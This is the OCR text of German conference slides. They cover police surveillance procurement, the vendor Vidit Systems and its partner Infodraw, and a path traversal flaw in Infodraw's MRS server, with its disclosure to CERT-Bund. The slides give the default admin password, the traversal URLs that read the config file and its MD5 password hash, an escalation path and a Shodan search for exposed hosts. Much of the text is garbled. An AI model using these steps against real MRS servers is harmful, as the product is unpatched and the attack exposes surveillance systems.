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Inneres

solcherheitspaket” im Ausschuss
zuruckhaltend bewertet

Dokumente

Ej 20/12804 - Gesetzentwurf: Entwurf eines Gesetzes zur
Begrenzung des illegalen Zustroms von
Drittstaatsangehdérigen nach Deutschland
(Zustrombegrenzungsgesetz)

PDF | 204 KB — Status: 09.09.2024

[5 20/12805 - Gesetzentwurf: Entwurf eines Gesetzes zur
Verbesserung der inneren Sicherheit und des Asylsystems
PDF | 524 KB — Status: 09.09.2024

Ej 20/12806 - Gesetzentwurf: Entwurf eines Gesetzes zur
Verbesserung der Terrorismusbekampfung
PDF | 394 KB — Status: 09.09.2024

Tagesordnung

Zeit: Montag, 23. September 2024, 12 Uhr
Ort: Berlin, Marie-Elisabeth-Luders-Haus, Sitzungssaal 3 101 [ 86. Sitzung am Montag, dem 23. September 2024, 12.00

Quelle: https://www.bundestag.de/dokumente/textarchiv/2024/kw3®a-

inneressicherheitasyt1019032
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Zeit: Montag, 23. September 2024, 12 Uhr
Ort: Berlin, Marie-Elisabeth-Luders-Haus, Sitzungssaal 3 101

y

Quelle: https://www.bundestag.de/dokumente/textarchiv/2024/kw3®a-

inneressicherheitasyt1019032
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Cc 25 dserver.bundestag.de/btd/17/100/1710077.pdf

1710077 124% + B

Deutscher Bundestag Drucksache 17/10077

17. Wahlperiode 02. 07. 2012

Antwort

der Bundesregierung

auf die Kleine Anfrage der Abgeordneten Jan Korte, Steffen Bockhahn,
Ulla Jelpke, weiterer Abgeordneter und der Fraktion DIE LINKE.
— Drucksache 17/9545 —

Auftragsvergabe an private Dienstleister im Bereich
des Bundesministeriums des Innern

Vorbemerkung der Fragesteller

Quelle: Drucksache 17/10077 / https://dserver.bundestag.de/btd/17/100/1710077.pdf, Seite 1 / 26 + 38
Easterheg@025 (EH22) TimPh Schafers



Lesen von Bundestagsanfrad hee)

Jahr 2011
BSV Inhalt des Auftrags Auftragnehmer Auftrags- Bereich / Thematische
volumen brutto Anforderung / Zielsetzung
o Storsender Windjammer Elektronik Entwick- 1.830,22 € | Sachmittel fur Pravention und Ermittiung
lung Dumbovic
5 Stérsender Windjammer Italiana Ponti Radio 14.280,00 € | Sachmittel fur Pravention und Ermittiung
SRL
17 ballistische Schutzhelme inkl. Trageta- | Ulbrichts Witwe 100.481,00 € | Sachmittel fiir Pravention und Ermittlung
sche und Visierschutz GmbH
59 Anmietung einer Capture Unit fir drei DigiTask 20.825,00 € | Sachmittel fiir Prévention und Ermittlung
Monate
77 TKU-Software inkl. Pflege DigiTask 7.140,00 € | Sachmittel fir Prévention und Ermittlung
77 TKU-Software inkl. Pflege DigiTask 5.355,00 € | Sachmittel fir Pravention und Ermittlung
98 Arbeitsstunden der DigiTask GmbH DigiTask Sachmittel fir Préavention und Ermittlung
100 Mail - Lizenz GMX DigiTask 2.380,00 € | pachmittel fir Pravention und Ermittlung
100 Mail - Lizenz GMX DigiTask 1.785,00 € | Bachmittel flir Pravention und Ermittlung
121 Anmietung einer Verschliissellungssoft- | Dialogika Sachmittel fir Pravention und Ermittlung
ware zur Datenibertragung von infReq
100 nach Albatros
121 Anmietung einer Verschlissellungssoft- | Dialogika 278,46 € | Sachmittel fur Pravention und Ermittlung
ware zur Datenlbertragung von infReq
100 nach Albatros
128 Uberwachungskameras: Anpassung, Vidit Systems GmbH 3.708,04 € | Sachmittel fur Pravention und Ermittlung
Adapter
159 Maus A8 mobilen Audiolbertragungs- IBH-Impex 6.324,85 € | Sachmittel fiir Pravention und Ermittlung
systemen inkl. Zubehor

Quelle: Drucksache 17/10077 aus 2012 / https://dserver.bundestag.de/btd/17/100/1710077.pdf, Seite 1 / 26 + 38
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Lesen von Bundestagsanfrad hee)

Jahr 2011
BSV Inhalt des Auftrags Auftragnehmer Auftrags- Bereich / Thematische
volumen brutto Anforderung / Zielsetzung
o Storsender Windjammer Elektronik Entwick- 1.830,22 € | Sachmittel fur Pravention und Ermittiung
lung Dumbovic
5 Stérsender Windjammer Italiana Ponti Radio 14.280,00 € | Sachmittel fur Pravention und Ermittiung
SRL
17 ballistische Schutzhelme inkl. Trageta- | Ulbrichts Witwe 100.481,00 € | Sachmittel fiir Pravention und Ermittlung
sche und Visierschutz GmbH
59 Anmietung einer Capture Unit fir drei DigiTask 20.825,00 € | Sachmittel fiir Prévention und Ermittlung
Monate
77 TKU-Software inkl. Pflege DigiTask 7.140,00 € | Sachmittel fir Prévention und Ermittlung
77 TKU-Software inkl. Pflege DigiTask 5.355,00 € | Sachmittel fir Pravention und Ermittlung
98 Arbeitsstunden der DigiTask GmbH DigiTask 2.856,00 € | Sachmittel fiir Prévention und Ermittlung
100 Mail - Lizenz GMX DigiTask 2.380,00 € | Sachmittel fir Pravention und Ermittlung
100 Mail - Lizenz GMX DigiTask 1.785,00 € | Sachmittel fur Pravention und Ermittlung
121 Anmietung einer Verschliissellungssoft- | Dialogika 357,00 € | Sachmittel fir Pravention und Ermittlung
ware zur Datenibertragung von infReq
100 nach Albatros
121 Anmietung einer Verschlissellungssoft- | Dialogika 278,46 € | Sachmittel fur Pravention und Ermittlung
ware zur Datenlbertragung von infReq
100 nach Albatros
128 Uberwachungskameras: Anpassung, Vidit Systems GmbH 3.708,04 € | Sachmittel fur Pravention und Ermittlung
Adapter
159 Maus A8 mobilen Audiolbertragungs- IBH-Tmpex 6.324,85 € | Sachmittel fur Pravention und Ermittiung

systemen inkl. Zubehor

Quelle: Drucksache 17/10077 aus 2012 / https://dserver.bundestag.de/btd/17/100/1710077.pdf, Seite 1 / 26 + 38

Easterheg@025 (EH22)

TimPh Schafers

L100L/LL ®ydoesy

8¢



Lesen von Bundestagsanfrad h@e

136 SW DigiTask (AIM Messen- Digitask 4.859,17 € Sachmittel fir Pravention und Ermittlung
ger)

143 IT - Dienstleistungen (PT) Digitask 59.500,00 € Sachmittel fir Pravention und Ermittlung

145 Aufriistung Langzeitrekorder- | Digital-Secure 19.986,29 € | Sachmittel fiir Pravention und Ermittlung Verstol} gegen VOL/B
system GmbH

152 SW SRH Il VOIP Decoder B Digitask 3.415,30 € Sachmittel fiir Pravention und Ermittlung
Netz A

152 SW SRH Il VOIP Decoder B Digitask 3.415,30 € Sachmittel fir Pravention und Ermittlung
Netz A

222 Ersatzbeschaffung von Induk- | ASCON Elektro- 1.473,64 € Spezialeinheiten
tionsempfanger und weiteren | nik GmbH
Zubehér

233 Ersatzbeschaffung der Tele- | NextiraOne 30.091,53 € Sachmittel fir Pravention und Ermittlung
fonalarmierungsanlage des Deutschland
ZKA GmbH

334 Uberwachungskameras Vidit Systems 4519795 € Sachmittel fir Pravention und Ermittlung
(25),Schwenk-/Neigekopf GmbH
(8), Transportkoffer klein
(17)gross (8) fir ZFA

348 Ausbau Zugangs- und Off- Soffge ktronik 13.709,03 € Sachmittel fir Pravention und Ermittlung
nungsfahrzeug

—8C

ad[yem "L — Seisepung Jayosine(g

Quelle: Drucksache 17/10077 aus 2012 / https://dserver.bundestag.de/btd/17/100/1710077.pdf, Seite 1 / 26 + 38

Easterheg@025 (EH22) TimPh Schéafers



Quelle: Bildschirmaufzeichnung www.viditstems.de

Vidit Systems GmbH? (2025

B vidit Systems GmbH - Vidit- X >

& C 1 8 vidit-systems.de

Referenzen Information

Herzlich willkommen auf der Webseite der Vidit Systems GmbH
dem Systemhaus fiir visuelle Sensorik

Die Vidit Systems GmbH entwickelt und produziert Komplettiésungen fir die amtliche Verkehrskontrolle, automatische
Kennzeichenlesesysteme, Dokumentations- und Beweissicherungskamerasysteme fiir die Polizeien der Lander und des Bundes.

Unser Tatigkeitsfeld erstreckt sich von der Entwicklung- tUber die Produktion von Elektronik, -Software, -Hardware bis hin zur
Integration der Technologie in von uns ausgebaute Sonderfahrzeuge.
Seit unserem Markeintritt im Jahre 2003 haben wir uns im "Behdrdenmarkt" etabliert und gehéren in den vorgenannten Marktsegmenten zu den Keyplayern in
Deutschland.
Zu unseren Referenzen gehéren inzwischen alle Polizeien des Bundes und der Lander.
Wir bedanken uns schon jetzt fir lhr Interesse und hoffen lhnen auf unserer Webseite die gewlinschten Informationen zu bieten.

Wenn nicht- dann nehmen Sie doch einfach zu uns Kontakt auf.

Easterheg@025 (EH22) TimPh Schafers
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Vidit Systems GmbHArchive.org (2005)

Willkommen

archive.org

INTERNET ARCHIVE ‘https://www.vidit—systems de/

maunﬂﬂumﬂﬁmﬂﬂ Lcapturei

26 Dec 2003-26 S

% willkommen

Die VIDIT Systems GmbH ist ein Systemhaus fiir Behordenapplikationen.

Wir bieten Komplettiosungen in den Bereichen Verkehrs-, Uberwachungs-,
Dokumentations- und Beweissicherungstechnik.

VideoMASS|

News

ACC-CAD Version 2.0

Das neue vermessungsfreie Unfallaufnahme-System Systemhaus

Mit Hilfe des neuen ACC-CAD V2.0 ist jetzt moglich, die Unfallaufnahme ganz ohne Vermessungsarbeiten
durchzufiihren.

An der Unfallstelle werden nur noch Photos erstellt. Alle zeichnungsrelevanten Details konnen aus den Photos

https://web.archive.org/web/20050209065551/https:/www.vidgystems.de/

Quelle: Bildschirmaufzeichnung

Easterheg@025 (EH22) TimPh Schafers
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Neusprech 2005 vs. 2025
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Die VIDIT Systems GmbH ist ein Systemhaus fiir Behordenapplikationen.

Wir bieten Komplettidsungen in den Bereichen Verkehrs-, [[[5a ciaiiies-,
Dokumentations- und Beweissicherungstechnik.

Herzlich willkommen auf der Webseite der Vidit Systems GmbH

dem Systemhaus fiir

Die Vidit Systems GmbH entwickelt und produziert Komplettlosungen fir die amtliche Verkehrskontrolle, automatische
Kennzeichenlesesysteme, Dokumentations- und Beweissicherungskamerasysteme fiir die Polizeien der Lander und des
Bundes.

VideoMASS

Unser Tatigkeitsfeld erstreckt sich von der Entwicklung- Gber die Produktion von Elektronik, -Software, -Hardware bis hin zur
Integration der Technologie in von uns ausgebaute Sonderfahrzeuge.
Seit unserem Markeintritt im Jahre 2003 haben wir uns im "Behdrdenmarkt” etabliert und gehoren in den vorgenannten
Marktsegmenten zu den Keyplayern in Deutschland.
Zu unseren Referenzen gehoren inzwischen alle Polizeien des Bundes und der Lander.
Wir bedanken uns schon jetzt fiir Ihr Interesse und hoffen Ihnen auf unserer Webseite die gewunschten Informationen zu bieten.

News

ACC-CAD Version 2.0

Das neue vermessungsfrele Unfallaufnahme-System Wenn nicht- dann nehmen Sie doch einfach zu uns Kontakt auf.

https://web.archive.org/web/20050209065551/https:/www.viddystems.de/

Quelle: www.viditsystems.de +

Easterheg@025 (EH22) TimPh Schéafers 12
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Quelle: https://www.viditsystems.de/index.php?option

view=article&id

=de +

82&lang

98&Itemid=

https://web.archive.org/web/20051222225446/http:/www.vidisystems.de/html/referenzen.html

Referenzen

Referenzen

Vidit Systems Beweissicherungs und Dokumentations Produkte:

Bundespolizei / Bereitschaftspolizeien der Lander

Polizei NRW

Polizei Niedersachsen
Polizei Sachsen

Polizei Sachsen Anhalt
Polizei Thiringen

Polizei Rheinland Pfalz
Polizei Bremen

Polizei Tharingen

Polizei Berlin

Polizei Hessen

Polizei Bayern

Polizei Berlin

Polizei Mecklenburg Vorpommern
Polizei Hamburg

Polizei Schleswig Holstein

Polizei Baden Wirttemberg

Easterheg@025 (EH22)

Referenzen 2005

Referenzen

Beschaffungsamt des Bundesinnenministeriums,
Bonn

Bundeskriminalamt Wiesbaden, Berlin,
Meckenheim

Hessische Polizeischule
Polizei Hessen
Landespolizeidirektion Sachsen

Zentrale Polizeitechnische Dienste NRW

Polizei Bremen
Polizei Niedersachsen,
Polizeiverwaltungsamt Thiiringen

Technisches Polizeiamt Sachsen Anhalt

Bundesgrenzschutz

Polizei Sachsen

Landkreise Mecklenburg Vorpommern
KLPD Niederlande, Driebergen

Polizei Rheinland Pfalz

Vetro Verkehrstechnik

TimPh Schéafers

INTERTRAFFIC 2004

30. Méarz - 2. April 2004
Stand 04.423

GPEC 2004
8. - 10. Juni 2004

General Police Equipment Exhibition &
Conference

3. Internationale Fachmesse flr
Polizei- und Spezialausristung in
Leipzig

13
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Produkte

» Abstands- und

Geschwindigkeitsmessung

» Beweissicherung und

com content&

Dokumentation

» Mobile kabellose

Bildiibertragung

» Automatische

Kennzeichenlesesysteme

» Fahrzeugbau

de

» Fahrzeuge fir Abstand-

und Geschwindigkeits-

messung

90&lang

Fahrzeuge fir

Beweissicherung und

Dokumentation

» Sonderfahrzeuge

59&Itemid

» Fahrzeugausristung

» Systemhaus und

Entwicklung

» Unfallaufnahme und

Dokumentation ACCCAD

Quelle: https://lwww.viditsystems.de/index.php?option

view=article&id

Easterheg@025 (EH22)

Wir entwickeln und realisieren [[fle[\ls (V{1 CRsTelale g f=lg  pa=\0 0 SR V[ §

Ubersichtseite Fahrzeugbau

TimPh Schéafers

polizeiliche Anforderungen nach Kundenwunsch. Sp
auf Verkehrsmesstechnik, Beweis -und Dokumentations und Bildubertragungsfahrzeugefi\Ele el (e =1ale 2N Tlo [T e[ o=Ta W=TI U0 W S (=TT T3]
Uberblick aus unseren Referenzen.

ezialisiert sind wir

aAYRADARIZS
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MSF 4:

com_content&

Die Mikrofon Abhdreinheit MFS 4 ist speziell fir den Einsatz in Sonderfahrzeugen der Polizei entwickelt worden.

Vier Mikrofone (dynamisch/elektret) konnen dabei Uber einen Joystick gesteuert werden, wodurch das
nahere Umfeld akustisch Uberwacht werden kann. Die Joysticksteuerung sorgt dafur, dass auch die
Richtung der Schallquelle bestimmt werden kann.

de

Die Anschlussmoglichkeiten sehen einen Kopfhérer / Lautsprecher sowie Aufzeichnungsgerate wie z.B.
Rekorder vor.

Als Mikrofone sind Spiegeleinbaumikrofone der Firma Peiker geeignet. Diese kdonnen z.B. in den
AuRenspiegeln, hinter dem Kuhlergrill oder in der Sto3stange verbaut werden. Die Betriebsspannung fur
die Mikrofone kommt direkt aus der Mikrofonbox.

107&lang

Das System wird Uber 12 VV DC versorgt. Ein Einbau im Fahrzeug ist dadurch problemlos mdéglich.
Die Bedieneinheit kann abgesetzt von der Mikrobox betrieben werden.

Die Anschllssen sind fur den mobilen und station&ren Einsatz ausgelegt und kbnnen mechanisch verriegelt werden kénnen.

Quelle: https://lwww.viditsystems.de/index.php?option

view=article&id=118&Itemid

Easterheg@025 (EH22) TimPh Schéafers 15
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Quelle: https://lwww.viditsystems.de/index.php?option

view=article&id=224&Itemid

Partnerinfodraw

VIDAT.

Wireless Mobile Video Solutions

Vidit Systems bedient den Polizeimarkt mit innovativer Polizeitechnik.

Bildibertragung von Kamerasignalen sind hier ein wichtiges Einsatzmittel. Die Fa. Infodraw hat sich
auf S EIERNERER I GECIHIIE per bestehender Mobilfunknetze spezialisiert. Vidit Systems steht
als Vertriebspartner fur die Infodraw Produkte speziell bei den Sicherheitsbehérden zur Verfligung.

Webseite Infodraw

Copyright © 2009 - 2021 Vidit Systems GmbH
Am Ockenheimer Graben 40, 55411 Bingen

Easterheg@025 (EH22) TimPh Schafers 16
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Quelle: https://lwww.viditsystems.de/index.php?option

Partnerinfodraw

Produkte Mobile kabellose Bildiibertragung

» Abstands- und L, PRMS Serie

Geschwindigkeitsmessung

Vergrosserung - Chart anclicken
» Beweissicherung und

Dokumentation

» Mobile kabellose

Bildubertragung

* PMRS-Serie
VIDITSYSTEMS GMBH VERTRIEBSPARTNER DER

» Automatische l N FO D RAW

WIRELESS VIDEO SOLUTIONS

1) Kennzeichenlesesysteme

©

1 » Fahrzeugbau

o

C

o » Systemhaus und

o3 ickl

- Entwicklung

#

< *» Unfallaufnahme und

11

o Dokumentation ACCCAD

e

(O]

=

%)

—

AN

AN

11

o

o3 MOBILE UND SCHNELL EINRICHTBARE BREITBANDIGE
Q DATEN UND BILDKOMMUNIKATION FUR
O “SECURITY” ANWENDUNGEN
pu

(4]

%

9

>
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Partnerinfodraw

VERTRIEBSTRUKTUR

com_content&

InfoDraw Israel R&D

L

InfoDraw Europe

§ 3 3

=de

441&lang

Spezialisierte Partner

z. Bsp. VIDIT Systems GmbH, Bingen

$§ 3 33 3 3

Anwender/Kunden

221&Itemid

Quelle: https://lwww.viditsystems.de/index.php?option

view=article&id

Easterheg@025 (EH22) TimPh Schéafers

18



Partnerinfodraw
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Partnerinfodraw

SPEZIAL SENDER FUR SICHERE
EINSATZANWENDUNG

com_content&

Robustes Gehause

=de

2 Video Eingangskanale

441&lang

9-32V DC Input

221&Itemid

3 Integrierte Watchdogs

INFOBOXX

KUhlung von 6 Komponenten

Quelle: https://www.viditsystems.de/index.php?option

view=article&id
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Quelle: https://lwww.viditsystems.de/index.php?option

view=article&id

Easterheg@025 (EH22)

Partnerinfodraw

MRS ARCHITECTURE

IP NETWORK
PMRS UNIT ))) MRS SERVER

Q

/——\>
! OpenVPN openm: E

DATA SENT THROUGH
(®  moBILE 46 NETWORK
TO THE MRS SERVER

@ THE MRS SERVER RECEIVES
THE DATA WHICH CAN BE VIEWED
BY THE CLIENTS THROUGH
THE INTERNET

USER CLIENTS
WINDOWS PC/LAPTOP
OR SMARTPHONE

SOFTWARE SUITE

MRS Server

MRS Monitor Client
iIMRS iPhone/iPad Client
MRS Android Client

SDK/ ActiveX Control for Integration

TimPh Schéafers
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Quelle: https://lwww.viditsystems.de/index.php?option

view=article&id

Partnerinfodraw

ANWENDUNGSBEISPIELE

Easterheg@025 (EH22) TimPh Schéafers
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Quelle: http://www.infodraw.com

InfodrawWebsﬂe

X Infodraw: Digital Video Rec

& @8 Ml Q s

with DuckDuckG enter addre

I nfo Draw Products Contact

\T:/martur{e bJed Body Worn

Easterheg@025 (EH22)

Andrond phone

Live streaming video, Audio, Location
Built-in camera or external USB camera
or external WIFI camera

Local & Remote recording

Client Server architecture with multiple
viewers

TimPh Schafers
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Quelle: http://www.infodraw.com

InfodrawWebsite

X About Infodraw

“ C wa

Easterheg@025 (EH22)

infodraw.com

HBDUT m Latest News

Company

Infodraw R&D Ltd. is a global provider of wireless mobile video solutions. Infodraw designs,
develops and manufactures mobile video surveillance devices that broadcast live video, audio and
GPS location over wireless networks such as 3G, 4G and WIFI.

Infodraw's distributors operate in 5 continents. Our devices are used by law enfocement, private
investigations, fleet management and public transport in many countries.

Products

Infodraw's products offer complete solutions for wireless media streaming and mobile security from
the field. we provide products that allow users to stream live, high quality video/audio/GPS from
anywhere, to any location globally, using mobile and wireless networks.

These products include dedicated software for recording and monitoring live video, audio and
location (Monitor Software) and user authentication and authorization (Server Software), all of
which is developped and maintained by Infodraw.

With over a decade of experience in the industry, our products are the most advanced and
sophisticated in the mobile/wireless video surveillance market, due to their performance, stability
and unrivalled features.

Mission Statement

Our mission is to provide our customers with complete video system solutions which are easy to
configure and easy to use and which best utilize the existing network infrastructure.

TimPh Schafers
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PMRS-120 Brochure.pdf

PMRS-201 Brochure with specifications.pdf
PMRS-201 User Manual v6.2.0.0.pdf
PMRS-420 Brochure.pdf

[z PMRS-420 v2.0 User Manual v6.2.0.0.docx
PMRS-420 v2.0 User Manual v6.2.0.0.pdf
@ PMRS-TMRS-102 User Manual v5.6.2.docx

http://www.infodraw.com/docs/PMRS.02%20User%20Manual%20v6.2.0.0.pdf

Quelle: http://www.infodraw.com/docs/ +

Easterheg@025 (EH22)

2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:06
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:06
2020-01-09 15:06
2020-01-09 15:07
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:05
2020-01-09 15:06
2020-01-09 15:06
2020-01-09 15:05

286K
818K
103K

69M
151K
I.1IM
107K

67K
123K
148K

14M
564K

14M
959K
218K
1.0M

14M
1.5M

2020-01-09 15:08 141M

2020-01-09 15:05
2020-01-09 15:05

15M
69M

TimPh Schafers

v B PMRS-102 X +

< c /\ Notsecure  infodraw.com/docs/PMRS-102%20User%20M... & ¢

=  PMRS-102 1 /185 B o

nfoDraw

Wireless Mobile Video Solutions

PMRS-102

25



Infod

rawSoftware

infodraw.com

Quelle: http://www.infodraw.com/products/mrs_software_suite/list.php +

http://www.infodraw.com/dlds/

Easterheg@025 (EH22)

MRS SOFTWRARRE

Design & Features

Latest Version

Gallery SDK

Program Type Use Compatible OS Download

MRS Service Windows Service Server W!ndows XPIVIstalT/é1o 32 bits m
Windows Server

MRS Server Linux Server Program Server Ubuntu Linux 32 bits m

MRS Monitor

Windows Application

Combined Server and
Monitoring Program

Windows XP/Vista/7/8/10
Windows Server

L SER BTG [ 19 Windows Application Monitoring Program Windows XP/Vista/7/8/10 Monitor Client
. P/MRS Device
L ITES Windows Application  Configuration Program ~ Windows XP/Vista/7/8/10 RS s el Cre s
Configurator .
using USB cable
External Video and
MRS AV Player Windows Application Windows XP/Vista/7/8/10 AV Player

iMRS

iMRS2

Android Client

iOS Application

iOS Application

Android Application

Audio Player

Monitoring Program

Monitoring Program

Monitoring Program

TimPh Schafers

i0S 6.1.3 or Later

i0S 6.1.3 or Later

Android 1.6 or Later

MRS Client



Quelle: eigene Bildschirmfotos

Software installiert

Port: 12654
HT TPServer

Server Administrator Login

Easterheg@025 (EH22)

Media Relay System

| Version |7.1.0.0
‘ Up time ‘4 hours and 21 minutes
'Your address|127.0.0.1

/admin

Login

/user

MRS User Login

User:

Password:

Login

TimPh Schafers
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Quelle: Eigene Bildschirmfotos

Software installiert

C\Program FilednfodrawAMRS Server

MName Anderungsdatum Typ GroBe

H Messages.dll J12.2018 12:4 Anwendungserwei...

8 MRS_Service.exe 12,2018 12:4: Anwendung

MRs MRS_WTL_PCApplication.ico 0. A Symbol
ServiceSetupActions. 22018 1.2:35 nwendungserwel...

Bs SetupActions.dll - A lung

H StateReportDLLdII J12.2018 12:4: Anwendungserwei... 135 KB

C\ProgramDataMRS

Name Anderungsdatum Typ GroBe

Devices 3.04.2 Dateiordner

Recordings 8.04.; Dateiordner

SoftwareUpdates 18.04.202 Dateiordner

Users 18.04.2025 16: Dateiordner

ServerParameters.xml 18.04.2025 16:13 Microsoft Edge HT..

Easterheg@025 (EH22) TimPh Schafers

ServerParameters.xml

<mrs:ServerParameters xmlns:mrs="http://www.infodraw.com">
<mrs:ServerfdminSettings>
<mrs:AdminPasswordHash:
<mrs:ConnectPeers>False</mrs:ConnectPeers?
<mrs:Certificate mrs:Enable="False"/>
<mrs:PrivateKey mrs:Enable="False" />
<mrs:PacketsPool mrs:5ize="106668">
<mrs:ConnectionPacketsPool mrs:51ze="512"/>
</mrs:PacketsPool>
<mrs:Connections>
<mrs:Secure mrs:Enable="True" />
<mrs:Insecure mrs:Enable="True"/>
</mrs:Connections?>
<mrs:Users mrs:RootDirectory="C:\ProgramData\MR5\Users" />
<mrs:Devices mrs:RootDirectory="C:\ProgramData\MRS\Devices" />
<mrs:Threads>
<mrs:Input>1</mrs: Input>
</mrs:Threads>
<mrs:ClientVersionLimits mrs:Max="" mrs:Min=""/>
</mrs:ServerAdminSettings>
<mrs:MediaRecorderConfig mrs:SeparateDeviceFolders="False">
<mrs:RootDirectory>C:\ProgramData\MR5\Recordings</mrs:RootDirector
<mrs:FileSizeSplitThreshold»@</mrs:FileSizeSplitThreshold:
<mrs:FileTimeSplitThreshold>»>8</mrs:FileTimeSplitThreshold:>

28



Bugs finder®

O a\ Nicht sicher infodraw.com

— -+ Automatischer Zoom v

The starting point for the web administration interface is the main menu page, re
address (enter this address in your browser):

http://serverip:12654/admin

'serverip' is the IP address of the server. If the server 1s installed on the machine v
1s open, you may use 'localhost' as the address. If a secure connection 1s desired,
address:

https://serverip:12654/admin

Every time the server does not identify the browser as the administrator, it reques
administrator's password. The initial password is mrs. The administrator is requit
initial password to a different one.

Change Administrator Password

Old password:

New password: | ‘
Retype new password: |
| Set |

Keine Prufung auf Komplexitat, etc.

TimPh Schafers

Easterheg@025 (EH22)

& @® 127.0.0.1:12654/admin/main_menu

MRS Server Administration

s Administrator

o Logout
Change Password
Server Authentication
Files and Folders
Resource Limits

Backup Settings
Internet Protocol

o 0 0o 0 0O 0O

s Logging
o Latest Messages
o Configure
o Latest Events

s User/Device Access Permissions
o Default Access

Users

Devices

Default Device Access

Default User Access

User Device Access

Non-MRS Devices

Virtual Devices

o 0 0 0 0 0 0

e Clients
o Management
o Traffic Summary
o All Connections
o Connected Devices
=]
(=]
o
o

Connected Users
User Device Calls
File Uploads

File Downloads

| Search

Version 7.0.0.0
Architecture 64 bits
0Ss Windows 8/Server 2012 build 9200
Up time 10 minutes and 44 seconds

Storage
State OK

Size 659.652 GB
Available 15.061 GB (2.3%)

29



Bugs finder(s) ¢ jeder Login ist zulassig?

rs - MRS User Login X +

C ® 127.0.0.1:12654/userlogin?redirect=/user/interactive.html

MRS User Login

User: \

Password: ‘

| Login |

Easterheg@025 (EH22) TimPh Schafers 30



Bugs finder(s) ¢ ¢ theoretische Uberlegung

@ 127.0.0.1:12654/user/interactive.html

< C © 127.0.0.1:12654/user/Files/

Account Devices Files Sleep Management

Not Found

C\ProgramDataMRSUsersdemodemo

Account Devices Files Sleep Management

-

L C\ProgrambDataMRSUsers./../..]..]

Easterheg@025 (EH22) TimPh Schéafers 31



Bugs finder(y) () ¢ theoretische Uberlegung

licrosoft Windows [Version 10.0.19045.5737]
(c) Microsoft Corporation. Alle Rechte vorbehalten.

C:\Users\hacktop>




MRS User Login

User: |

Password: \ ’

Login

Easterheg@025 (EH22) TimPh Schafers
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Bugs finderg PathTraversals) 3¢ 3¢ 3%

C ® 127.0.0.1:12654/user/Files/ProgramData/MRS/ServerParameters.xml

C ® 127.0.0.1:12654/user/Files/ProgramData/MRS/

This XML file does not appear to have any style information associated with it. The

User directory of /ProgramData/MRS/

v<mrs:ServerParameters xmlns:mrs="http://www.infodraw.com">
v<mrs:ServerAdminSettings>
<mrs:AdminPasswordHash>E10ADC3949BA5SSABBESGEQS7F20F883E« /mrs: AdminPass
<mrs:ConnectPeers>False</mrs:ConnectPeers>
<mrs:Certificate mrs:Enable="False"/>
<mrs:PrivateKey mrs:Enable="False"/>
v<mrs:PacketsPool mrs:Size="16060">
Name Modified Time Size <mrs:ConnectionPacketsPool mrs:Size="512"/>
</mrs:PacketsPool>
v <mrs:Connections>

- . o _ <mrs:Secure mrs:Enable="True"/>
E:)l@ﬁilEEE 2025/04/18 16:05:10 <mrs:Insecure mrs:Enable="True"/>

Main Menu

: T en. </mrs:Connections>

E:jliEEQEQLQEE 2025/04/18 16:50:05 <mrs:Users mrs:RootDirectory="C:\ProgramData\MRS\Users"/>

[:jISthNare[Jgdates 2025/04/18 16:05:10 <mrs:Devices mrs:RootDirectory="C:\ProgramData\MRS\Devices"/>
- v<mrs:Threads>

E:jlﬁsers 2025/04/18 16:05:10 <mrs:Input>1</mrs:Input>

</mrs:Threads>
<mrs:ClientVersionLimits mrs:Max=
</mrs:ServerAdminSettings>

ServerParameters.xml 2025/04/18 16:13:23 3.0 KB Delete

mn

mrs:Min=""/>

Sowohl Windows, als auch Linux betroffen! MDgehashtePassworter

Easterheg@025 (EH22) TimPh Schafers 34



Eskalationsmoglichkeiten

PathTraversabhusnutzen

ServerParameter.xml laden

Adminloginnutzen

Weitere Schwachstellen

Easterheg@025 (EH22) TimPh Schéafers 35



Zwischenstand

1.) Anwendungsfalle und Hintergrund verstanden
2.) Zugriff auf die Software erhalten (lokal)
3.) Kritischen Bug (Directollyaversgl gefunden

4.)?

Easterheg@025 (EH22) TimPh Schafers
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Meldung der Schwachstelle an den Herste

Initiale Meldung an den Hersteller im Januar 2025
(inkl. 90 Tage Frist filResponsibl®isclosure)

Erneute (wochentliche) Meldungen ab Marz 2025

Urgent: Path Traversal Vulnerability Report in MRS Software

Re: Urgent: Path Traversal Vulnerability Report in MRS Software

Re: Urgent: Path Traversal Vulnerability Report in MRS Software

C Bis heute keine Antwort vom Herstell(s) )

Meldung an CERBund/BSI im April 2025



Wer nutzt das genau?Shodan etc.?()

". SHODAN Explore Downloads

Pricing port:12654

POrt%3A12654

Korea, Republic of 3
China 1
Hong Kong 1

TOP ORGANIZATIONS

Korea Telecom 3
CHINANET fujian province network 1
Dom Tehniki Ltd 1

Quelle: https://lwww.shodan.io/search?query

Easterheg@025 (EH22)

View Report

Download Results Historical Trend View on Map Advanced Search

Product Spotlight: Free, Fast IP Lookups for Open Ports and Vulnerabilities using InternetDB

404 Not Found
59.61.49.180
180.49.61.59.broad xm.fj.dy
namic.163data.com.cn
CHINANET fujian province
network

B china, shanghai

46.232.121.224
Dom Tehniki Ltd
E3 Hong Kong, Hong Kong

14.49.75.37

Korea Telecom

‘®, Korea, Republic
of, Busan

HTTP/1.1 484 Not Found

Content-Type: text/html

Connection: close

Content-Length: 134

Server: LINUX-2.6 UPnP/1.8 MiniUPnPd/1.5

WC8\x@2\x08\ xB8\xBa\x88\xa8\ x88\x8a\x8e8 \x01\x80\x88\x88\x08\xe0\x8e \x8e \xe2\x80\xes\:

SNMP :
Versions:
3
Engine Boots: 1
Engineid Data: S@eelfs3386349a6238f0es880
Enterprise: 8872
Engine Time: 8 days, ©:34:42

TimPh Schafers 38



Quelle: Bildschirmfotos

Wer nutzt das genau?Internetweiter Scan

J?xml version=

18 45
e = -.)'.L--s.\. 1L

"1.0"2>

private - inbound public - inbound private - outbound public - outbound

I¢ write out
@3 Read File Replace



Wer nutzt das genau?internetweliter Scan

20-30 IRAdressen hochwertige Treffer ...
(teils Systeme wieder offline oder nicht anfallig)
C5F NHzy 1 SNJ I dZOK o RSdzi a0KS ¢NBTTFSNK

erkennbare Systeme von:

-  Behorden
-  Detektiven

- a{ AOKSNXKSAUadzy i SNYSKYSya
Use Cases: Kamerauberwachung, Bodycams, Drohnen, etc.

C Kein Herstellerpatch, Info direkt an CERTSs + Betreiber



Fall 1 Belgiel)s)

